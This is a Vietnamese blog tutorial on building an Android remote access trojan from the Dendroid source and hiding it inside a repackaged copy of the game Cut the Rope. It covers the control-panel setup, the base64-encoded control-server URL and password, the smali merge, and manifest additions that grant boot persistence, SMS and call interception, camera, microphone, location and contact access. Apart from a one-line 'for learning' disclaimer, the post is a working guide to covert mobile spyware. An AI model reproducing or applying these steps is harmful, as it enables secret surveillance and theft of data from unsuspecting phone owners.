Friday, October 10, 2014

Hướng dẫn tạo RAT ( Remote Access Trojan ) Android

Lâu lâu rồi viết một bài.
Sử dụng bài viết với mục đích học tập, đừng có nghịch ngợm phá hoại he2

Bắt đầu  

*****

 Các tool cần thiết
1.       Apktool
-          Dùng để disassemble và recompile file APK
-          Dùng APK_OneClick có tích hợp Apktool
Download về chạy shellext-add.bat
Khi Disassemble hay Recompile chọn chuột phải vào file apk hay thư mục.
2.       Tool Base64
3.       Source code remote access trojan

Các bước

Bước 1 :
1.       Tạo Web server để điều khiển
Source website  DendroidSource-master\Dendroid Panel
Cách thiết lập
-          Vào Dendroid Panel\Dendroid Panel\DendroidRAT chỉnh sửa file  reg.php
$allowedDomains = array("www.domain.com", "domain.com");
                Thay bằng địa chỉ domain của mình, ví dụ chạy trên localhost (IP local ví dụ 192.168.0.103) để
$allowedDomains = array("192.168.0.103");
-          Kết nối database dùng database 
DendroidSource-master\Dendroid Panel\Dendroid Panel\Other Files\SQL.sql
Khi vào Web panel lần đầu thiết lập các thông số ( ví dụ như hình)

Bước 2 :
1.       Tạo app apk remote access trojan
Dùng Eclipse tạo project android from Existing Code và trỏ tới thư mục  “DendroidSource-master /Dendroid APK”
Vào source code src/com/connect/DroiddianService.java chỉnh sửa các thông số

private String encodedURL = "aHR0cDovLzE5Mi4xNjguMC4xMDMvRGVuZHJvaWRSQVQ="; //base 64 URL website http://192.168.0.103/DendroidRAT
private String backupURL = "aHR0cDovLzE5Mi4xNjguMC4xMDMvRGVuZHJvaWRSQVQ=";
private String encodedPassword = "aGF2ZWZ1bg=="; //base64 password "havefun"
-        
           Với encodedURL là base64 của website panel ( ví dụ như http://192.168.0.103/DendroidRat ); có thể dùng tool Base64 ở trên.
-          Password ở dạng base64 (với code tải về là base64 của “havefun” ); nếu muốn thay đổi password sửa các file trong source website
upload-picture.php
new-upload.php
get-function.php
get.php
Build và Run Project.
Để theo dõi chỉ cần cài ứng dụng “Droidian.apk” trên máy victim.

1.       Bước 3
      Gắn ứng dụng trojan Droidian.apk vào các ứng dụng apk khác
Ví dụ gắn trojan này vào app “CutTheRope2.3.apk”. Link apk

  • -          Dùng Apktool (hoặc APK one click ở trên) disassemble 2 file “CutTheRope2.3.apk” và “Droidian.apk”
  • -          Copy toàn bộ các file trong Droidian-disasm\smali vào CutTheRope2.3-disasm\smali

Chon “merge folder” và “don’t copy same file”





-          Sửa file AndroidManifest của CutTheRope
Xem ThemFileManifest.txt trong DendroidSource-master
Thêm vào trong thẻ <application></application>

<activity android:name="com.connect.Dialog" android:excludeFromRecents="true" />
        <activity android:name="com.connect.CaptureCameraImage" android:excludeFromRecents="true" />
        <activity android:name="com.connect.CameraView" android:excludeFromRecents="true" />
        <activity android:name="com.connect.VideoView" android:excludeFromRecents="true" />
        <service android:name="com.connect.DroidianService" android:persistent="true" android:enabled="true" android:exported="true" />
        <service android:name="com.connect.RecordService" />
        <receiver android:name="com.connect.ServiceReceiver" android:persistent="true" android:enabled="true" android:exported="true">
            <intent-filter android:priority="1000">
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
                <action android:name="android.intent.action.PHONE_STATE" />
                <action android:name="android.intent.action.ACTION_EXTERNAL_APPLICATIONS_AVAILABLE" />
                <action android:name="android.intent.action.QUICKBOOT_POWERON" />
            </intent-filter>
        </receiver>
Thêm các permission ( thường trước đóng thẻ </manifest> )

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.QUICKBOOT_POWERON" android:required="false" />
    <uses-permission android:name="android.permission.INTERNET" android:required="true" />
    <uses-permission android:name="android.permission.READ_SMS" android:required="true" />
    <uses-permission android:name="android.permission.WRITE_SMS" android:required="true" />
    <uses-permission android:name="android.permission.GET_ACCOUNTS" android:required="true" />
    <uses-permission android:name="com.android.browser.permission.READ_HISTORY_BOOKMARKS" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" android:required="true" />
    <uses-permission android:name="android.permission.READ_CONTACTS" android:required="true" />
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" android:required="true" />
    <uses-permission android:name="android.permission.GET_TASKS" android:required="true" />
    <uses-permission android:name="android.permission.WAKE_LOCK" android:required="false" />
    <uses-permission android:name="android.permission.CALL_PHONE" android:required="true" />
    <uses-permission android:name="android.permission.SEND_SMS" android:required="true" />
    <uses-permission android:name="android.permission.WRITE_SETTINGS" android:required="false" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" android:required="false" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" android:required="true" />
    <uses-permission android:name="android.permission.CAMERA" android:required="true" />
    <uses-permission android:name="android.permission.RECORD_AUDIO" android:required="false" />
    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" android:required="true" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" android:required="true" />
    <uses-feature android:name="android.hardware.camera" android:required="false" />
    <uses-feature android:name="android.hardware.camera.front" android:required="false" />
    <uses-feature android:name="android.hardware.camera.autofocus" android:required="false" />
    <uses-feature android:name="android.hardware.microphone" android:required="false" />

  •   Recompile lại app CutTheRope, cài vào máy điện thoại và khi khởi động lại điện thoại thì trojan remote được kích hoạt